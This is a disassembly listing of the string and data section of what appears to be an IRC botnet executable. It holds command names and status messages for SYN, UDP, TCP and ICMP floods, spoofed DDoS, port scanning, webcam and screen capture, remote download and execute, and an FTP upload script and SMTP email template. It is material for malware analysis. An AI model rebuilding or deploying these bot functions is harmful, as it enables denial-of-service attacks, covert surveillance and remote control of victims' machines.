aReadFileFailed	db 'Read file failed: %s',0
		align 4
unk_42A0C8	db  2Dh	; -		; DATA XREF: sub_401ACD+75C2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_42A0EC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_42A12C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409015o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_42A16C	db  2Dh	; -		; DATA XREF: sub_401ACD+753Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 4
; char aVideo[]
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F87o
		align 10h
; char asc_42A1A0[]
asc_42A1A0	db '-'                  ; DATA XREF: sub_401ACD:loc_408F74o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 4
unk_42A1D8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
; char asc_42A20C[]
asc_42A20C	db '-'                  ; DATA XREF: sub_401ACD+7490o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
; char aFrame[]
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE6o
		align 10h
; char asc_42A240[]
asc_42A240	db '-'                  ; DATA XREF: sub_401ACD+740Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 4
; char asc_42A268[]
asc_42A268	db '-'                  ; DATA XREF: sub_401ACD+73D9o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 10h
; char aDrivers[]
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E59o
; char asc_42A298[]
asc_42A298	db '-'                  ; DATA XREF: sub_401ACD:loc_408E46o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_42A2D4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
; char asc_42A304[]
asc_42A304	db '-'                  ; DATA XREF: sub_401ACD+7362o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
; char aScreen[]
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFEo
		align 4
; char asc_42A338[]
asc_42A338	db '-'                  ; DATA XREF: sub_401ACD+7319o
		db 3, 34h, 2
		dd 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh, 2E732520h
		dd 0
; char asc_42A354[]
asc_42A354	db '-'                  ; DATA XREF: sub_401ACD+72D3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
; char asc_42A384[]
asc_42A384	db '-'                  ; DATA XREF: sub_401ACD+72B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
; char asc_42A3AC[]
asc_42A3AC	db '-'                  ; DATA XREF: sub_401ACD+720Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_42A3CC	db  2Dh	; -		; DATA XREF: sub_401ACD+71D6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_42A3EC	db  2Dh	; -		; DATA XREF: sub_401ACD+7181o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_42A408	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401ACD+710Fo
; char aPartS_1[]
aPartS_1	db 'PART %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+70D5o
					; sub_401ACD+7C48o
		align 4
unk_42A428	db  2Dh	; -		; DATA XREF: sub_401ACD+70B0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
; char aModeS_0[]
aModeS_0	db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Fo
		align 10h
dword_42A450	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7074o
		dd 25203A29h, 73h
dword_42A46C	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7005o
		dd 203A2973h, 7325h
; char aModeS[]
aModeS		db 'MODE %s',0          ; DATA XREF: sub_401ACD+6FAAo
; char dword_42A490[]
dword_42A490	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F7Ao
		dd 203A2973h, 7325h
; char aJoinSS_0[]
aJoinSS_0	db 'JOIN %s %s',0       ; DATA XREF: sub_401ACD+6F01o
		align 4
; char aS[]
aS		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401ACD+6ECFo
					; sub_401ACD+6F58o ...
		align 10h
; char aPartS_0[]
aPartS_0	db 'PART %s',0          ; DATA XREF: sub_401ACD+6E96o
dword_42A4C8	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E85o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
; char asc_42A504[]
asc_42A504	db '-'                  ; DATA XREF: sub_401ACD+6E16o
		db 3, 34h, 2
		dd 67726174h, 3023361h
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 10h
; char asc_42A530[]
asc_42A530	db '-'                  ; DATA XREF: sub_401ACD+6D86o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
; char asc_42A56C[]
asc_42A56C	db '-'                  ; DATA XREF: sub_401ACD+6D1Bo
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
; char asc_42A5A0[]
asc_42A5A0	db '-'                  ; DATA XREF: sub_401ACD:loc_408746o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
; char asc_42A5D4[]
asc_42A5D4	db '-'                  ; DATA XREF: sub_401ACD+6C3Eo
		db 3, 34h, 2
		dd 6E69616Dh, 202D0302h, 65706552h, 203A7461h, 7325h
dword_42A5EC	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408674o
; char aSSSS[]
aSSSS		db '%s %s %s :%s',0     ; DATA XREF: sub_401ACD+6B63o
					; sub_401ACD+6C15o ...
		align 10h
; char asc_42A610[]
asc_42A610	db '-'                  ; DATA XREF: sub_401ACD:loc_4085D1o
		db 3, 34h, 2
		dd 61647075h, 3026574h
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
dword_42A658	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AFAo
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
; char asc_42A694[]
asc_42A694	db '-'                  ; DATA XREF: sub_401ACD+6A8Bo
		db 3, 34h, 2
		dd 61647075h, 3026574h
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 10h
; char aSS_exe[]
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E3o
		align 4
dword_42A6CC	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6981o
		dd 7325203Ah, 0
unk_42A6E8	db  2Dh	; -		; DATA XREF: sub_401ACD+6976o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
; char asc_42A70C[]
asc_42A70C	db '-'                  ; DATA XREF: sub_401ACD+68DCo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
; char asc_42A748[]
asc_42A748	db '-'                  ; DATA XREF: sub_401ACD+6866o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
dword_42A778	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Co
					; sub_401ACD:loc_409367o
; char asc_42A784[]
asc_42A784	db '-'                  ; DATA XREF: sub_401ACD+678Ao
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42A7A8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408235o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 10h
unk_42A7E0	db  2Dh	; -		; DATA XREF: sub_401ACD+675Eo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 4
; char asc_42A818[]
asc_42A818	db '-'                  ; DATA XREF: sub_401ACD+66EEo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A844	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Bo
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 10h
; char asc_42A880[]
asc_42A880	db '-'                  ; DATA XREF: sub_401ACD+65FCo
		db 3, 34h, 2
		dd 6E6F6C63h, 3027365h
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 10h
unk_42A8B0	db  2Dh	; -		; DATA XREF: sub_401ACD+6583o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 4
; char asc_42A8E8[]
asc_42A8E8	db '-'                  ; DATA XREF: sub_401ACD+6514o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A918	db  2Dh	; -		; DATA XREF: sub_401ACD+648Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
; char asc_42A950[]
asc_42A950	db '-'                  ; DATA XREF: sub_401ACD+641Bo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A980	db  2Dh	; -		; DATA XREF: sub_401ACD+63A2o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 4
; char asc_42A9B8[]
asc_42A9B8	db '-'                  ; DATA XREF: sub_401ACD+6333o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A9F4	db  2Dh	; -		; DATA XREF: sub_401ACD+62BAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
; char asc_42AA34[]
asc_42AA34	db '-'                  ; DATA XREF: sub_401ACD+624Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42AA60	db  2Dh	; -		; DATA XREF: sub_401ACD+617Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
; char asc_42AAA4[]
asc_42AAA4	db '-'                  ; DATA XREF: sub_401ACD+610Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
; char asc_42AAE0[]
asc_42AAE0	db '-'                  ; DATA XREF: sub_401ACD+6010o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
; char aSSS_0[]
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F64o
		align 4
aSSS		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E87o
		align 4
; char dword_42AB3C
dword_42AB3C	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF3o
					; sub_401ACD+715Bo
unk_42AB48	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
; char asc_42AB84[]
asc_42AB84	db '-'                  ; DATA XREF: sub_401ACD+5D20o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42ABD4	db  2Dh	; -		; DATA XREF: sub_401ACD+5C89o
					; sub_401ACD+607Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
; char asc_42AC0C[]
asc_42AC0C	db '-'                  ; DATA XREF: sub_401ACD+5C1Ao
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42AC74	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 4
unk_42ACA8	db  2Dh	; -		; DATA XREF: sub_401ACD+5A47o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
; char asc_42ACDC[]
asc_42ACDC	db '-'                  ; DATA XREF: sub_401ACD:loc_4073F4o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42AD0C	db  2Dh	; -		; DATA XREF: sub_401ACD+5920o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5907o
; char aSS_2[]
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+58F0o
		align 4
; char aOpenSSSSPutSBy[]
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CDo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
; char Mode[]
Mode		db 'ab',0               ; DATA XREF: sub_401ACD+58A9o
					; sub_411C14+4Eo
		align 4
; char aSIII_dll[]
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5898o
		align 4
unk_42AD7C	db  2Dh	; -		; DATA XREF: sub_401ACD+584Eo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
; char aUpload[]
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Bo
		align 4
; char asc_42ADA4[]
asc_42ADA4	db '-'                  ; DATA XREF: sub_401ACD+57F5o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
; char asc_42ADE4[]
asc_42ADE4	db '-'                  ; DATA XREF: sub_401ACD+5798o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
; char asc_42AE1C[]
asc_42AE1C	db '-'                  ; DATA XREF: sub_401ACD+572Do
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42AE64	db  2Dh	; -		; DATA XREF: sub_401ACD+567Co
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
; char asc_42AE98[]
asc_42AE98	db '-'                  ; DATA XREF: sub_401ACD+5648o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42AECC	db  2Dh	; -		; DATA XREF: sub_401ACD+5624o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
; char asc_42AF04[]
asc_42AF04	db '-'                  ; DATA XREF: sub_401ACD+5582o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
; char aIcmp_dllNotAva[]
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5565o
		align 4
unk_42AF58	db  2Dh	; -		; DATA XREF: sub_401ACD+5550o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
; char asc_42AF90[]
asc_42AF90	db '-'                  ; DATA XREF: sub_401ACD+54E1o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
; char asc_42AFD8[]
asc_42AFD8	db '-'                  ; DATA XREF: sub_401ACD:loc_406F00o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 10h
unk_42B010	db  2Dh	; -		; DATA XREF: sub_401ACD+5429o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 4
; char asc_42B048[]
asc_42B048	db '-'                  ; DATA XREF: sub_401ACD+53AFo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Fo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5398o
unk_42B08C	db  2Dh	; -		; DATA XREF: sub_401ACD+52FDo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 4
; char aRandom_0[]
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52EDo
					; sub_413E36+312o
		align 10h
; char aAck[]
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D6o
					; sub_413E36+2F2o
; char aHcon[]
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+5260o
		align 4
; char aHttpcon[]
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Do
; char asc_42B0D4[]
asc_42B0D4	db '-'                  ; DATA XREF: sub_401ACD+51FEo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 4
; char aHeloRndnickMai[]
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+518Ao
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
; char aEmail[]
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+509Fo
		align 4
; char aTcp[]
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5088o
; char aTcpflood[]
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5071o
		align 4
; char aP[]
aP:					; DATA XREF: sub_401ACD+505Ao
					; .data:00438308o ...
		unicode	0, <p>,0
; char aPing_0[]
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5043o
		align 4
; char aPingflood[]
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Co
		align 4
; char aNs[]
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5015o
		align 4
; char aNetsend[]
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFEo
; char aU[]
aU:					; DATA XREF: sub_401ACD+4FE7o
					; .data:00438300o ...
		unicode	0, <u>,0
; char aUdp[]
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FD0o
; char aUdpflood[]
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB9o
		align 4
; char aAdv[]
aAdv		db 'adv',0              ; DATA XREF: sub_401ACD+4FA2o
; char aAdvscan[]
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Bo
; char aPsc[]
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F74o
; char aPortscan[]
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Do
		align 10h
; char aC_a[]
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F37o
; char aC_action[]
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F20o
		align 10h
; char aC_pm[]
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F09o
		align 4
; char aC_privmsg[]
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF2o
		align 4
; char aSc[]
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDBo
		align 4
; char aScan_0[]
aScan_0		db 'scan',0             ; DATA XREF: sub_401ACD+4EC4o
		align 10h
; char aRd[]
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EADo
		align 4
; char aRedirect[]
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E96o
		align 10h
; char aJpl10[]
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Fo
		align 4
; char aJpldg10[]
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E68o
; char aWonk[]
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E51o
		align 4
; char aPhatwonk[]
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E3Ao
		align 4
dword_42B214	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Do
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
; char asc_42B250[]
asc_42B250	db '-'                  ; DATA XREF: sub_401ACD+4DBEo
		db 3, 34h, 2
		dd 73796B73h, 3026E79h
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
; char aSkysyn[]
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Bo
		align 4
; char aSyn[]
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D24o
					; sub_401ACD+52BEo ...
; char aSynflood[]
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Do
		align 4
unk_42B298	db  2Dh	; -		; DATA XREF: sub_401ACD+4D00o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 4
; char aWisdom_udp[]
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C29o
		align 4
; char aDdos_random[]
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C12o
					; sub_412B09:loc_412C35o
; char aDdos_ack[]
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFBo
					; sub_412B09:loc_412C19o
		align 4
; char aDdos_syn[]
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE4o
					; sub_412B09+F1o
		align 4
; char aC_0[]
aC_0:					; DATA XREF: sub_401ACD+4BCDo
					; .data:00438338o ...
		unicode	0, <c>,0
; char aClone_0[]
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB6o
		align 4
; char aIcmp[]
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Do
		align 4
; char aIcmpflood[]
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B76o
		align 4
; char aMv[]
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Fo
		align 4
; char aRename[]
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B48o
		align 4
; char aFf[]
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B31o
		align 4
; char aFindfile[]
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B1Ao
		align 4
; char aE[]
aE:					; DATA XREF: sub_401ACD+4B03o
					; .data:004382F0o ...
		unicode	0, <e>,0
; char aExecute[]
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AECo
; char aJp10[]
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD5o
		align 4
; char aJpDe10[]
aJpDe10		db 'jp]de10',0          ; DATA XREF: sub_401ACD+4ABEo
; char aDe[]
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA7o
		align 4
; char aDelay[]
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A90o
		align 4
; char aRp[]
